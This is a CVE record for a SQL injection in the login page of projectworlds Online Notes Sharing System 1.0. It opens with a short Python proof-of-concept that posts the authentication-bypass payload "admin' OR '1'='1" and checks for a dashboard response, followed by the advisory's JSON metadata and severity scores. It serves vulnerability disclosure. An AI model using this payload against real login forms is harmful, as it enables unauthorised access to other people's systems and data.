CVE-2026-4540

import requests def check_sqli_vulnerability(target_url): """ PoC for CVE-2026-4540 SQL Injection in login.php """ login_url = f"{target_url}/login.php" # Payload to test for SQL Injection (Time-based or Boolean-based) payload = { "User": "admin' OR '1'='1", # Injection payload "Password": "password" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: response = requests.post(login_url, data=payload, headers=headers, timeout=10) if response.status_code == 200 and ("Welcome" in response.text or "dashboard" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection successful.") return True else: print("[-] Vulnerability not detected or target not responsive.") return False except Exception as e: print(f"[!] Error during PoC execution: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli_vulnerability(target)

{"cve": {"id": "CVE-2026-4540", "sourceIdentifier": "[email protected]", "published": "2026-03-22T08:15:59.800", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in projectworlds Online Notes Sharing System 1.0. This issue affects some unknown processing of the file /login.php of the component Parameters Handler. The manipulation of the argument User results in sql injection. The attack can be executed remotely. The exploit is now public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en projectworlds Online Notes Sharing System 1.0. Este problema afecta a un procesamiento desconocido del archivo /login.php del componente Gestor de Parámetros. La manipulación del argumento User resulta en inyección SQL. El ataque puede ser ejecutado remotamente. El exploit es ahora público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/juzidddd/CVE/issues/4", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352357", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352357", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.774686", "source": "[email protected]"}]}}